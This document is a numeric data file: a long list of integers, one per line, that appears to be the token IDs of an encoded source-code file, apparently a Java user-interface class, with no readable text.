222,
485,
3698,
51,
5934,
51,
576,
1566,
7737,
222,
222,
485,
1401,
51,
9580,
51,
1667,
17089,
64,
222,
485,
1401,
51,
9580,
51,
1667,
25211,
64,
222,
222,
485,
1401,
51,
8236,
51,
1735,
64,
222,
485,
1401,
51,
8236,
51,
12954,
64,
222,
485,
1401,
51,
8236,
51,
9884,
64,
222,
485,
1401,
51,
8236,
51,
1962,
64,
222,
485,
1401,
51,
8236,
51,
20375,
64,
222,
485,
1401,
51,
8236,
51,
8524,
64,
222,
485,
1401,
51,
8236,
51,
1585,
7737,
222,
222,
1350,
222,
338,
418,
1263,
517,
43,
778,
64,
75,
4753,
451,
19160,
7586,
2299,
51,
222,
338,
222,
338,
496,
2133,
696,
711,
507,
533,
284,
222,
588,
222,
942,
462,
9280,
29314,
2299,
303,
2041,
19160,
7586,
2299,
4584,
19160,
7586,
5238,
222,
128,
303,
1041,
294,
338,
906,
1998,
451,
3105,
707,
990,
29314,
4037,
294,
588,
303,
2532,
990,
29314,
7508,
16415,
64,
465,
1041,
294,
338,
3105,
707,
5621,
2239,
130,
6733,
563,
341,
10705,
39779,
51,
294,
588,
303,
2532,
5621,
2239,
373,
5692,
17089,
64,
465,
1041,
294,
338,
3105,
707,
5621,
2239,
130,
6733,
563,
341,
14828,
39779,
51,
294,
588,
303,
2532,
5621,
2239,
439,
5692,
17089,
64,
465,
1041,
294,
338,
3105,
707,
5621,
2239,
130,
6733,
563,
341,
19223,
51,
294,
588,
303,
2532,
5621,
2239,
19223,
17089,
64,
465,
1041,
294,
338,
3105,
707,
6484,
17089,
130,
6733,
563,
341,
7508,
24121,
51,
294,
588,
303,
2532,
6484,
17089,
1887,
1667,
17089,
64,
303,
964,
16263,
19816,
2239,
8466,
5606,
2239,
64,
303,
964,
648,
3627,
18683,
299,
4418,
51,
4697,
100,
5986,
64,
465,
1041,
294,
338,
3105,
707,
6484,
17089,
130,
6733,
563,
341,
10705,
39779,
51,
294,
588,
303,
964,
6484,
17089,
373,
5692,
1667,
17089,
64,
465,
1041,
294,
338,
3105,
707,
6484,
17089,
130,
6733,
563,
341,
14828,
39779,
51,
294,
588,
303,
964,
6484,
17089,
439,
5692,
1667,
17089,
64,
465,
964,
15210,
4908,
64,
465,
1041,
294,
338,
5036,
4666,
708,
9873,
4962,
27609,
365,
1616,
3845,
664,
331,
1275,
3477,
294,
338,
2688,
341,
804,
451,
332,
21344,
39,
1616,
758,
347,
2109,
50,
471,
50,
1892,
2595,
294,
338,
14111,
51,
294,
588,
303,
964,
1922,
27609,
9406,
299,
920,
64,
465,
1041,
294,
338,
29755,
331,
3105,
707,
9280,
29314,
2299,
4037,
294,
588,
303,
581,
9280,
29314,
2299,
365,
2172,
465,
1041,
294,
338,
3777,
331,
556,
1998,
451,
3105,
707,
9280,
29314,
2299,
4037,
294,
338,
294,
338,
496,
772,
837,
331,
2595,
51,
294,
338,
496,
620,
331,
556,
1998,
451,
3105,
707,
9280,
29314,
2299,
130,
294,
588,
303,
581,
924,
5715,
2299,
1506,
2299,
45,
79,
1735,
837,
46,
320,
310,
461,
556,
9280,
29314,
2299,
492,
303,
339,
465,
924,
782,
2480,
1728,
1225,
45,
18832,
1728,
1225,
2010,
46,
320,
310,
2010,
51,
543,
45,
909,
19055,
45,
7113,
51,
33573,
100,
2430,
894,
310,
2010,
51,
543,
45,
909,
19055,
45,
7113,
51,
33573,
100,
10453,
894,
310,
2010,
51,
543,
45,
909,
19055,
45,
7113,
51,
33573,
100,
8452,
894,
310,
2010,
51,
543,
45,
909,
19055,
45,
7113,
51,
33573,
100,
3298,
894,
310,
2010,
51,
543,
45,
909,
19055,
45,
7113,
51,
14078,
100,
33573,
100,
2430,
894,
310,
2010,
51,
543,
45,
909,
19055,
45,
7113,
51,
14078,
100,
33573,
100,
10453,
894,
310,
2010,
51,
543,
45,
909,
19055,
45,
7113,
51,
33573,
100,
10779,
894,
310,
2010,
51,
543,
45,
909,
19055,
45,
7113,
51,
33573,
100,
6517,
894,
310,
2010,
51,
543,
45,
909,
19055,
45,
7113,
51,
14078,
100,
33573,
100,
6517,
894,
310,
2010,
51,
543,
45,
909,
19055,
45,
7113,
51,
14078,
100,
33573,
100,
10779,
894,
303,
339,
17522,
581,
782,
16870,
45,
8524,
504,
49,
990,
1735,
300,
46,
320,
310,
18065,
22676,
7263,
299,
7508,
16415,
51,
390,
16659,
7263,
492,
310,
434,
327,
10743,
7263,
882,
762,
46,
320,
343,
18092,
559,
299,
7508,
16415,
51,
390,
16659,
7263,
8293,
492,
343,
22676,
7263,
51,
18142,
7263,
45,
5828,
16415,
49,
504,
49,
559,
51,
125,
49,
559,
51,
126,
49,
559,
51,
1660,
49,
559,
51,
2296,
312,
310,
339,
303,
339,
4054,
1041,
294,
338,
496,
620,
556,
17432,
45,
6881,
51,
3470,
100,
5986,
49,
13813,
51,
3470,
100,
5986,
46,
294,
588,
303,
581,
17432,
640,
12739,
1269,
45,
79,
1735,
300,
46,
320,
310,
461,
556,
17432,
45,
6881,
51,
3470,
100,
5986,
49,
13813,
51,
3470,
100,
5986,
312,
303,
339,
465,
1041,
294,
338,
6764,
120,
1263,
4324,
51,
294,
338,
294,
338,
496,
772,
7508,
16415,
619,
1998,
451,
3105,
707,
990,
29314,
130,
294,
588,
303,
2532,
782,
2462,
14486,
45,
79,
29314,
7508,
16415,
46,
303,
320,
310,
12641,
2199,
31535,
51,
3806,
7263,
45,
5828,
16415,
49,
332,
29314,
51,
3489,
742,
310,
12641,
2199,
31535,
51,
3806,
10678,
2199,
3728,
45,
5828,
16415,
49,
343,
332,
29314,
51,
4175,
411,
343,
332,
29314,
51,
29230,
411,
343,
332,
29314,
51,
2204,
742,
603,
18065,
22676,
7263,
299,
7508,
16415,
51,
390,
16659,
7263,
492,
310,
434,
1849,
10743,
7263,
630,
762,
46,
1293,
45,
22676,
7263,
5118,
5326,
2305,
509,
320,
343,
22676,
7263,
299,
5326,
1590,
51,
390,
7263,
459,
29314,
51,
10828,
7263,
742,
343,
7508,
16415,
51,
489,
16659,
7263,
45,
10743,
7263,
312,
310,
339,
310,
12641,
2199,
31535,
51,
3806,
1667,
45,
5828,
16415,
49,
332,
37564,
411,
5080,
51,
6382,
312,
303,
339,
465,
1041,
294,
338,
39966,
18370,
51,
294,
338,
294,
338,
496,
772,
300,
619,
1998,
451,
3105,
707,
990,
29314,
130,
294,
588,
303,
2532,
782,
2462,
14625,
45,
79,
29314,
300,
46,
303,
320,
310,
373,
5692,
17089,
299,
1506,
5775,
71,
17089,
492,
310,
373,
5692,
1667,
17089,
299,
1506,
5775,
71,
1667,
17089,
492,
310,
439,
5692,
17089,
299,
1506,
77,
6155,
17089,
492,
310,
439,
5692,
1667,
17089,
299,
1506,
77,
6155,
1667,
17089,
492,
310,
19223,
17089,
299,
1506,
16659,
17089,
492,
310,
1887,
1667,
17089,
299,
1506,
1667,
17089,
492,
603,
990,
16659,
19223,
299,
7508,
16415,
51,
390,
16659,
492,
310,
990,
26964,
373,
5692,
299,
7508,
16415,
51,
390,
11916,
26964,
492,
310,
990,
26964,
439,
5692,
299,
7508,
16415,
51,
390,
11388,
26964,
492,
603,
434,
327,
10828,
882,
762,
46,
320,
343,
19223,
51,
688,
17089,
45,
10828,
17089,
312,
310,
339,
310,
434,
327,
4876,
103,
882,
762,
46,
320,
343,
373,
5692,
51,
26959,
941,
688,
17089,
45,
4876,
103,
17089,
312,
343,
373,
5692,
51,
36538,
17089,
45,
4876,
103,
1667,
17089,
312,
310,
339,
310,
434,
327,
3931,
103,
882,
762,
46,
320,
343,
439,
5692,
51,
26959,
941,
688,
17089,
45,
3931,
103,
17089,
312,
343,
439,
5692,
51,
36538,
17089,
45,
3931,
103,
1667,
17089,
312,
310,
339,
603,
7508,
16415,
51,
36538,
17089,
45,
438,
1667,
17089,
312,
465,
8466,
5606,
2239,
299,
1506,
6042,
19816,
2239,
492,
303,
7508,
16415,
51,
688,
6042,
19816,
2239,
45,
7079,
5606,
2239,
312,
465,
339,
465,
1041,
294,
338,
39966,
14132,
6905,
51,
294,
338,
294,
338,
496,
772,
300,
619,
1998,
451,
3105,
707,
990,
29314,
130,
294,
588,
303,
2532,
782,
2462,
12368,
7113,
45,
79,
29314,
300,
46,
320,
310,
4257,
1225,
1533,
1225,
299,
640,
1630,
1225,
45,
79,
1735,
51,
6636,
16751,
100,
6316,
17356,
100,
2124,
100,
36035,
9211,
100,
17971,
312,
603,
6505,
318,
13392,
51,
3249,
2299,
1630,
1225,
45,
104,
49,
990,
1735,
51,
7723,
16751,
100,
6316,
17356,
100,
2124,
100,
36035,
9211,
100,
17971,
49,
1533,
1225,
312,
603,
23980,
1728,
1225,
51,
3806,
18832,
1728,
1225,
45,
104,
49,
9280,
29314,
2299,
51,
842,
49,
12957,
332,
29314,
51,
1160,
1225,
742,
303,
339,
465,
4257,
1225,
640,
1630,
1225,
45,
429,
3721,
46,
320,
310,
434,
327,
4759,
630,
990,
1735,
51,
5886,
100,
6316,
17356,
100,
2124,
100,
36035,
9211,
100,
17971,
46,
320,
343,
4257,
1225,
1221,
1225,
299,
327,
1630,
1225,
46,
2061,
10138,
51,
390,
45,
5828,
16415,
49,
477,
49,
2493,
332,
29314,
51,
43512,
1630,
1225,
742,
343,
4257,
1225,
46971,
971,
1225,
64,
1083,
434,
327,
5828,
16415,
51,
23441,
13986,
941,
316,
3695,
724,
4058,
365,
1293,
547,
1849,
22700,
971,
1225,
299,
327,
1630,
1225,
46,
2061,
10138,
51,
390,
45,
5828,
16415,
49,
477,
49,
547,
332,
29314,
51,
43512,
1630,
1225,
51,
4058,
724,
3695,
2152,
630,
762,
509,
320,
419,
461,
1221,
1225,
64,
343,
339,
832,
320,
419,
46971,
971,
1225,
51,
40257,
45,
697,
1225,
312,
419,
461,
46971,
971,
1225,
64,
343,
339,
310,
339,
310,
461,
762,
64,
303,
339,
465,
581,
782,
2462,
2299,
45,
79,
1735,
837,
46,
320,
310,
7508,
16415,
299,
327,
79,
29314,
46,
125,
64,
310,
2462,
14486,
45,
5828,
16415,
312,
310,
2462,
14625,
45,
5828,
16415,
312,
310,
2462,
12368,
7113,
45,
5828,
16415,
312,
303,
339,
465,
1041,
294,
338,
1703,
3806,
120,
1263,
4324,
51,
294,
338,
294,
338,
496,
772,
300,
619,
1998,
451,
3105,
707,
990,
29314,
130,
294,
588,
303,
2532,
782,
28870,
14486,
45,
79,
29314,
300,
46,
320,
310,
12641,
2199,
31535,
51,
41707,
7263,
45,
5828,
16415,
312,
603,
434,
327,
5828,
16415,
51,
390,
16659,
7263,
365,
5118,
5326,
2305,
46,
320,
343,
7508,
16415,
51,
489,
16659,
7263,
45,
1710,
312,
310,
339,
303,
339,
465,
1041,
294,
338,
1703,
30756,
18370,
51,
294,
338,
294,
338,
496,
772,
300,
331,
2595,
294,
588,
303,
2532,
782,
28870,
14625,
45,
79,
1735,
300,
46,
320,
310,
990,
16659,
19223,
299,
7508,
16415,
51,
390,
16659,
492,
310,
990,
26964,
373,
5692,
299,
7508,
16415,
51,
390,
11916,
26964,
492,
310,
990,
26964,
439,
5692,
299,
7508,
16415,
51,
390,
11388,
26964,
492,
603,
434,
327,
10828,
882,
762,
46,
320,
343,
19223,
51,
2564,
17089,
45,
10828,
17089,
312,
310,
339,
310,
434,
327,
4876,
103,
882,
762,
46,
320,
343,
373,
5692,
51,
26959,
941,
2564,
17089,
45,
4876,
103,
17089,
312,
343,
373,
5692,
51,
2564,
1667,
17089,
45,
4876,
103,
1667,
17089,
312,
310,
339,
310,
434,
327,
3931,
103,
882,
762,
46,
320,
343,
439,
5692,
51,
26959,
941,
2564,
17089,
45,
3931,
103,
17089,
312,
343,
439,
5692,
51,
2564,
1667,
17089,
45,
3931,
103,
1667,
17089,
312,
310,
339,
603,
7508,
16415,
51,
2564,
1667,
17089,
45,
438,
1667,
17089,
312,
465,
434,
327,
7079,
5606,
2239,
882,
762,
46,
320,
310,
7508,
16415,
51,
2564,
6042,
19816,
2239,
45,
7079,
5606,
2239,
312,
303,
339,
603,
373,
5692,
17089,
299,
762,
64,
310,
439,
5692,
17089,
299,
762,
64,
310,
19223,
17089,
299,
762,
64,
310,
1887,
1667,
17089,
299,
762,
64,
310,
8466,
5606,
2239,
299,
762,
64,
310,
4908,
299,
762,
64,
303,
339,
465,
1041,
294,
338,
1703,
30756,
14132,
6905,
51,
294,
338,
294,
338,
496,
772,
300,
619,
1998,
451,
3105,
707,
990,
29314,
130,
294,
588,
303,
2532,
782,
28870,
12368,
7113,
45,
79,
29314,
300,
46,
320,
310,
6505,
318,
13392,
51,
3249,
2299,
1728,
1225,
45,
104,
49,
762,
312,
310,
6505,
318,
13392,
51,
3249,
2299,
1630,
1225,
45,
104,
49,
990,
1735,
51,
6048,
16751,
100,
6316,
17356,
100,
2124,
100,
36035,
9211,
100,
17971,
49,
762,
312,
303,
339,
4054,
581,
782,
28870,
2299,
45,
79,
1735,
300,
46,
320,
310,
28870,
14486,
45,
5828,
16415,
312,
310,
28870,
14625,
45,
5828,
16415,
312,
310,
28870,
12368,
7113,
45,
5828,
16415,
312,
310,
7508,
16415,
299,
762,
64,
303,
339,
465,
964,
15210,
640,
1985,
365,
320,
310,
434,
327,
4543,
630,
762,
46,
320,
343,
4908,
299,
556,
15210,
492,
310,
339,
310,
461,
4908,
64,
303,
339,
465,
1041,
294,
338,
38328,
5072,
341,
3105,
707,
990,
29314,
130,
642,
3105,
707,
4340,
644,
4037,
294,
588,
303,
2532,
782,
7659,
29314,
1569,
16659,
365,
303,
320,
310,
990,
16659,
19223,
299,
7508,
16415,
51,
390,
16659,
492,
310,
990,
26964,
373,
5692,
299,
7508,
16415,
51,
390,
11916,
26964,
492,
310,
990,
26964,
439,
5692,
299,
7508,
16415,
51,
390,
11388,
26964,
492,
310,
990,
16659,
2720,
7983,
299,
7508,
16415,
51,
30062,
2661,
492,
310,
990,
16659,
956,
7983,
299,
7508,
16415,
51,
19226,
2661,
492,
310,
1922,
475,
378,
299,
7508,
16415,
51,
23441,
13986,
941,
316,
3695,
724,
4058,
492,
603,
434,
327,
10828,
882,
762,
46,
320,
343,
17432,
21190,
1269,
299,
19223,
51,
390,
18683,
1269,
492,
343,
17432,
2221,
1269,
299,
19223,
51,
28987,
1269,
492,
343,
6460,
2221,
2746,
299,
19223,
51,
28987,
2746,
492,
1083,
434,
327,
4876,
103,
882,
762,
46,
320,
419,
648,
21190,
299,
21190,
1269,
51,
2296,
64,
419,
648,
1788,
299,
2221,
1269,
51,
2296,
64,
419,
648,
804,
299,
4189,
51,
1472,
45,
53,
49,
4189,
51,
907,
45,
1090,
2746,
51,
126,
49,
1788,
449,
21190,
894,
419,
373,
5692,
51,
489,
3367,
45,
872,
49,
21190,
49,
244,
53,
49,
1788,
312,
343,
339,
1083,
434,
327,
3931,
103,
882,
762,
46,
320,
419,
648,
21190,
299,
21190,
1269,
51,
1660,
64,
419,
648,
1788,
299,
2221,
1269,
51,
1660,
64,
419,
648,
804,
64,
2125,
434,
327,
26572,
46,
320,
547,
804,
299,
4189,
51,
1472,
45,
53,
49,
4189,
51,
907,
45,
1090,
2746,
51,
125,
49,
1788,
449,
21190,
894,
419,
339,
832,
320,
547,
648,
1565,
899,
299,
439,
5692,
51,
6693,
492,
3704,
1276,
4443,
331,
8445,
17652,
391,
9226,
332,
872,
39,
3507,
338,
6234,
19103,
837,
12676,
458,
16515,
51,
3507,
588,
547,
434,
327,
11534,
9406,
979,
1849,
1472,
449,
1565,
899,
46,
630,
2221,
2746,
51,
125,
509,
320,
733,
804,
299,
4189,
51,
1472,
45,
53,
49,
4189,
51,
907,
45,
1472,
449,
21190,
49,
1565,
899,
894,
733,
1276,
9747,
332,
21344,
39,
458,
758,
49,
6940,
27609,
9406,
4666,
2143,
51,
674,
588,
733,
434,
327,
21344,
882,
244,
53,
46,
320,
1031,
27609,
9406,
299,
920,
64,
733,
339,
547,
339,
832,
320,
733,
434,
327,
21344,
868,
1788,
46,
320,
1031,
2221,
2746,
51,
125,
299,
1788,
449,
21190,
64,
1031,
19223,
51,
43133,
2746,
45,
1090,
2746,
312,
1031,
804,
299,
244,
53,
64,
733,
339,
832,
320,
6048,
1276,
906,
2434,
1646,
902,
1348,
2902,
331,
5562,
804,
451,
1031,
338,
2221,
2746,
51,
125,
2144,
4418,
51,
4697,
100,
5986,
8487,
1031,
338,
3318,
327,
1472,
449,
21190,
449,
2221,
3010,
4736,
110,
285,
51,
125,
46,
15665,
1031,
338,
619,
9972,
51,
2915,
331,
1074,
49,
804,
16675,
5953,
51,
1031,
338,
327,
106,
51,
108,
51,
758,
1089,
2746,
45,
3078,
51,
3470,
100,
5986,
49,
18520,
1031,
338,
981,
347,
331,
1275,
3477,
15665,
331,
9972,
51,
1031,
338,
981,
26973,
2816,
804,
458,
327,
1472,
449,
21190,
566,
46,
1031,
338,
8786,
49,
477,
6253,
331,
31681,
4845,
480,
7178,
331,
1031,
338,
2435,
7437,
477,
12324,
50,
10917,
1431,
12920,
49,
1278,
457,
4650,
1031,
338,
11920,
580,
6234,
12765,
22851,
51,
1031,
588,
1031,
804,
299,
4189,
51,
1472,
45,
53,
49,
4189,
51,
907,
45,
1472,
449,
21190,
49,
1788,
449,
21190,
449,
2221,
2746,
51,
125,
894,
1031,
434,
327,
1477,
18683,
868,
21190,
46,
320,
1396,
804,
5928,
3627,
18683,
449,
21190,
64,
1031,
339,
733,
339,
547,
339,
419,
339,
419,
3627,
18683,
299,
21190,
64,
419,
439,
5692,
51,
489,
3367,
45,
872,
49,
21190,
49,
244,
53,
49,
1788,
312,
343,
339,
1083,
434,
327,
661,
7983,
882,
762,
46,
320,
419,
6460,
317,
299,
2720,
7983,
51,
28987,
2746,
492,
419,
317,
51,
126,
299,
19223,
51,
28987,
2746,
941,
126,
64,
419,
317,
51,
125,
299,
244,
53,
64,
419,
2720,
7983,
51,
43133,
2746,
45,
117,
312,
343,
339,
1083,
434,
327,
770,
7983,
882,
762,
46,
320,
419,
6460,
317,
299,
956,
7983,
51,
28987,
2746,
492,
419,
434,
327,
26572,
46,
320,
547,
317,
51,
125,
299,
19223,
51,
28987,
2746,
941,
125,
64,
419,
339,
832,
320,
547,
317,
51,
125,
299,
4189,
51,
1472,
45,
53,
49,
19223,
51,
28987,
2746,
941,
125,
312,
419,
339,
419,
317,
51,
126,
299,
244,
53,
64,
419,
956,
7983,
51,
43133,
2746,
45,
117,
312,
343,
339,
310,
339,
303,
339,
465,
1041,
294,
338,
3777,
341,
22547,
51,
294,
338,
294,
338,
496,
5124,
23203,
3105,
18438,
130,
294,
338,
496,
5124,
12134,
3105,
18438,
130,
294,
338,
496,
2987,
3698,
51,
5934,
51,
79,
1735,
40,
390,
27067,
45,
429,
49,
648,
46,
294,
338,
496,
8152,
244,
54,
51,
59,
294,
588,
303,
581,
648,
640,
27067,
45,
79,
1735,
300,
49,
648,
1882,
49,
648,
2401,
46,
320,
310,
434,
327,
104,
630,
762,
46,
320,
343,
1440,
556,
23203,
459,
1735,
2315,
545,
3000,
50,
1710,
742,
310,
339,
603,
434,
327,
1660,
350,
244,
53,
1293,
2401,
350,
244,
53,
46,
320,
343,
1440,
556,
12134,
459,
2627,
480,
2401,
2315,
545,
2394,
244,
53,
742,
310,
339,
603,
990,
16659,
19223,
299,
7508,
16415,
51,
390,
16659,
492,
310,
719,
2047,
1887,
20375,
299,
7508,
16415,
51,
390,
20375,
492,
310,
648,
553,
299,
1887,
20375,
51,
1412,
64,
310,
2401,
299,
2401,
449,
1887,
20375,
51,
1412,
449,
1887,
20375,
51,
3476,
64,
310,
1882,
299,
1882,
449,
1887,
20375,
51,
1892,
449,
1887,
20375,
51,
1009,
64,
310,
990,
16659,
2656,
2661,
299,
7508,
16415,
51,
19226,
2661,
492,
310,
434,
327,
2628,
2661,
882,
762,
979,
2656,
2661,
51,
31215,
1177,
320,
343,
5715,
3353,
299,
2656,
2661,
51,
28987,
492,
343,
434,
327,
2127,
882,
762,
979,
3353,
51,
31215,
1177,
320,
419,
453,
10275,
458,
5198,
2716,
580,
1200,
16321,
1354,
51,
419,
17432,
3353,
15365,
299,
3353,
51,
390,
35606,
492,
419,
648,
22547,
299,
3353,
51,
390,
27067,
45,
2127,
15365,
51,
1660,
49,
15614,
3353,
15365,
51,
2296,
312,
419,
434,
327,
23630,
2394,
244,
53,
46,
320,
547,
461,
553,
494,
22547,
64,
419,
339,
343,
339,
343,
17432,
2656,
15365,
299,
2656,
2661,
51,
390,
35606,
492,
343,
2401,
5928,
2656,
15365,
51,
2296,
64,
343,
553,
1475,
2656,
15365,
51,
2296,
64,
310,
339,
310,
5715,
2221,
299,
327,
10828,
630,
762,
46,
1037,
762,
518,
19223,
51,
28987,
492,
310,
434,
327,
1090,
882,
762,
979,
2221,
51,
31215,
365,
979,
419,
2221,
51,
390,
27067,
14595,
11122,
365,
630,
419,
5715,
51,
27067,
14595,
11122,
51,
21159,
100,
17563,
1456,
46,
320,
343,
18065,
19223,
7263,
299,
7508,
16415,
51,
390,
16659,
7263,
492,
343,
434,
327,
10828,
7263,
882,
762,
46,
320,
419,
719,
2047,
373,
4391,
20375,
299,
19223,
7263,
51,
390,
7263,
20375,
45,
5828,
16415,
312,
419,
553,
1475,
373,
4391,
20375,
51,
1412,
64,
419,
2401,
299,
2401,
449,
373,
4391,
20375,
51,
1412,
449,
373,
4391,
20375,
51,
3476,
64,
419,
1882,
299,
1882,
449,
373,
4391,
20375,
51,
1892,
449,
373,
4391,
20375,
51,
1009,
64,
343,
339,
343,
434,
327,
1090,
51,
21398,
365,
868,
244,
53,
979,
2221,
51,
22361,
365,
868,
244,
53,
46,
320,
419,
17432,
1865,
299,
2221,
51,
390,
13368,
1269,
492,
419,
1882,
299,
4189,
51,
1472,
45,
907,
51,
1660,
49,
2221,
51,
21398,
1052,
419,
2401,
299,
4189,
51,
1472,
45,
907,
51,
2296,
49,
2221,
51,
22361,
1052,
343,
339,
343,
434,
327,
1660,
868,
244,
53,
979,
2401,
868,
244,
53,
46,
320,
419,
648,
22547,
299,
2221,
51,
390,
27067,
45,
1660,
49,
2401,
312,
419,
434,
327,
23630,
868,
244,
53,
46,
320,
547,
461,
553,
494,
22547,
64,
419,
339,
343,
339,
310,
339,
310,
461,
449,
54,
64,
303,
339,
465,
1041,
294,
338,
3777,
619,
3858,
15285,
2650,
341,
22547,
451,
341,
2595,
294,
338,
3417,
641,
341,
1354,
3417,
51,
294,
338,
294,
338,
496,
5124,
23203,
3105,
18438,
130,
294,
338,
496,
2987,
3698,
51,
5934,
51,
79,
1735,
40,
390,
27067,
45,
429,
49,
648,
46,
294,
338,
496,
8152,
244,
54,
51,
59,
294,
588,
303,
581,
5715,
51,
27067,
14595,
11122,
640,
27067,
14595,
11122,
45,
343,
990,
1735,
300,
46,
320,
310,
2615,
51,
390,
27067,
14595,
11122,
45,
104,
312,
310,
453,
3787,
948,
458,
3173,
664,
341,
3353,
49,
347,
1532,
1152,
580,
1200,
5198,
310,
453,
341,
2454,
1354,
480,
2038,
999,
902,
545,
3290,
641,
44810,
100,
17563,
1456,
51,
310,
453,
1691,
341,
3353,
4183,
1348,
1178,
331,
22547,
2806,
341,
22547,
1118,
1773,
310,
453,
545,
2101,
434,
580,
1200,
3787,
948,
14595,
11122,
458,
310,
453,
44810,
100,
17563,
1456,
49,
1278,
49,
461,
44810,
100,
17563,
1456,
51,
310,
461,
5715,
51,
27067,
14595,
11122,
51,
21159,
100,
17563,
1456,
64,
303,
339,
4054,
1041,
294,
338,
29163,
456,
19223,
5233,
51,
294,
338,
1369,
462,
5394,
1773,
456,
21942,
14673,
51,
294,
338,
3381,
2840,
8923,
1421,
2602,
13643,
2012,
15210,
51,
294,
338,
496,
15033,
294,
588,
303,
496,
15375,
45,
8152,
299,
332,
54,
60,
411,
456,
36411,
299,
878,
46,
303,
581,
462,
4340,
644,
1810,
1985,
4584,
5621,
2239,
303,
320,
310,
1041,
295,
338,
29755,
331,
3105,
707,
4340,
644,
1810,
1985,
4037,
295,
588,
310,
581,
4340,
644,
1810,
1985,
365,
2172,
603,
453,
12125,
63,
1369,
462,
5394,
1773,
456,
21942,
14673,
51,
3381,
310,
453,
2840,
8923,
1421,
2602,
13643,
2012,
15210,
51,
1691,
863,
1868,
391,
1035,
310,
453,
556,
8923,
1035,
580,
391,
341,
15210,
49,
1294,
1949,
3673,
477,
310,
453,
462,
7410,
2012,
341,
15210,
51,
603,
581,
782,
1621,
3663,
45,
25211,
503,
46,
320,
343,
640,
1985,
941,
1311,
3663,
45,
106,
312,
310,
339,
303,
339,
465,
1041,
294,
338,
3777,
619,
1998,
451,
19223,
3105,
707,
5621,
2239,
4037,
294,
338,
294,
338,
496,
620,
619,
1998,
451,
19223,
3105,
707,
5621,
2239,
130,
294,
588,
303,
2532,
5621,
2239,
1506,
16659,
17089,
365,
320,
310,
461,
640,
1985,
492,
303,
339,
4054,
1041,
294,
338,
28504,
39779,
7510,
51,
294,
338,
1369,
462,
5394,
1773,
456,
21942,
14673,
51,
294,
338,
3381,
2840,
8923,
1421,
2602,
13643,
2012,
15210,
51,
294,
338,
496,
15033,
294,
588,
303,
496,
15375,
45,
8152,
299,
332,
54,
60,
411,
456,
36411,
299,
878,
46,
303,
581,
462,
696,
6155,
17089,
4584,
5621,
2239,
303,
320,
310,
1041,
295,
338,
29755,
331,
3105,
707,
696,
6155,
17089,
4037,
295,
588,
310,
581,
696,
6155,
17089,
365,
2172,
603,
453,
12125,
63,
1369,
462,
5394,
1773,
456,
21942,
14673,
51,
3381,
310,
453,
2840,
8923,
1421,
2602,
13643,
2012,
15210,
51,
1691,
863,
1868,
391,
1035,
310,
453,
556,
8923,
1035,
580,
391,
341,
15210,
49,
1294,
1949,
3673,
477,
310,
453,
462,
7410,
2012,
341,
15210,
51,
603,
581,
782,
1621,
3663,
45,
25211,
503,
46,
310,
320,
343,
640,
1985,
941,
1311,
3663,
45,
106,
312,
310,
339,
303,
339,
465,
1041,
294,
338,
3777,
331,
350,
707,
67,
1667,
17089,
396,
707,
67,
708,
1118,
545,
6733,
294,
338,
563,
341,
14828,
350,
707,
67,
79,
26964,
396,
707,
4513,
294,
588,
303,
964,
6484,
17089,
1506,
77,
6155,
1667,
17089,
365,
320,
310,
461,
640,
1985,
492,
303,
339,
465,
1041,
294,
338,
3777,
619,
1998,
451,
14828,
7508,
5710,
3105,
707,
5621,
2239,
4037,
294,
338,
294,
338,
496,
620,
619,
1998,
451,
14828,
7508,
5710,
3105,
707,
5621,
2239,
130,
294,
588,
303,
2532,
5621,
2239,
1506,
77,
6155,
17089,
365,
320,
310,
461,
640,
1985,
492,
303,
339,
4054,
1041,
294,
338,
28483,
39779,
7510,
51,
294,
338,
1369,
462,
5394,
1773,
456,
21942,
14673,
51,
294,
338,
3381,
2840,
8923,
1421,
2602,
13643,
2012,
15210,
51,
294,
338,
496,
15033,
294,
588,
303,
496,
15375,
45,
8152,
299,
332,
54,
60,
411,
456,
36411,
299,
878,
46,
303,
581,
462,
694,
6155,
17089,
4584,
5621,
2239,
303,
320,
310,
1041,
295,
338,
29755,
331,
3105,
707,
694,
6155,
17089,
4037,
295,
588,
310,
581,
694,
6155,
17089,
365,
2172,
603,
453,
12125,
63,
1369,
462,
5394,
1773,
456,
21942,
14673,
51,
3381,
310,
453,
2840,
8923,
1421,
2602,
13643,
2012,
15210,
51,
1691,
863,
1868,
391,
1035,
310,
453,
556,
8923,
1035,
580,
391,
341,
15210,
49,
1294,
1949,
3673,
477,
310,
453,
462,
7410,
2012,
341,
15210,
51,
603,
581,
782,
1621,
3663,
45,
25211,
503,
46,
310,
320,
343,
640,
1985,
941,
1311,
3663,
45,
106,
312,
310,
339,
303,
339,
4054,
1041,
294,
338,
3777,
331,
350,
707,
67,
1667,
17089,
396,
707,
67,
708,
1118,
545,
6733,
294,
338,
563,
341,
10705,
350,
707,
67,
79,
26964,
396,
707,
4513,
294,
588,
303,
964,
6484,
17089,
1506,
5775,
71,
1667,
17089,
365,
320,
310,
461,
640,
1985,
492,
303,
339,
465,
1041,
294,
338,
3777,
619,
1998,
451,
10705,
7508,
5710,
3105,
707,
5621,
2239,
4037,
294,
338,
294,
338,
496,
620,
619,
1998,
451,
10705,
7508,
5710,
3105,
707,
5621,
2239,
130,
294,
588,
303,
2532,
5621,
2239,
1506,
5775,
71,
17089,
365,
320,
310,
461,
640,
1985,
492,
303,
339,
465,
1041,
294,
338,
16263,
19816,
1985,
458,
619,
8287,
462,
1532,
4584,
341,
294,
338,
16263,
19816,
2239,
2586,
51,
244,
16263,
19816,
1985,
18627,
3246,
391,
294,
338,
16263,
19816,
5015,
829,
25531,
341,
990,
29314,
36797,
51,
294,
338,
1691,
341,
7508,
24121,
1200,
294,
338,
350,
707,
67,
316,
19816,
41315,
4006,
396,
707,
67,
294,
338,
1431,
3235,
920,
49,
1307,
25531,
12996,
51,
294,
338,
294,
338,
496,
2987,
3698,
51,
5934,
51,
79,
29314,
40,
316,
19816,
41315,
4006,
294,
338,
496,
2987,
607,
1315,
6042,
19816,
2239,
294,
338,
496,
2987,
1401,
51,
8236,
51,
1585,
51,
6042,
19816,
2239,
294,
338,
496,
2987,
1401,
51,
8236,
51,
1585,
51,
6042,
19816,
1167,
294,
338,
496,
8152,
244,
54,
51,
57,
294,
588,
303,
2532,
462,
16263,
19816,
1985,
4584,
16263,
19816,
2239,
320,
603,
453,
12125,
63,
1369,
462,
5394,
1773,
456,
21942,
14673,
51,
3381,
310,
453,
2840,
8923,
1421,
2602,
13643,
2012,
15210,
51,
1691,
863,
1868,
391,
1035,
310,
453,
556,
8923,
1035,
580,
391,
341,
15210,
49,
1294,
1949,
3673,
477,
310,
453,
462,
7410,
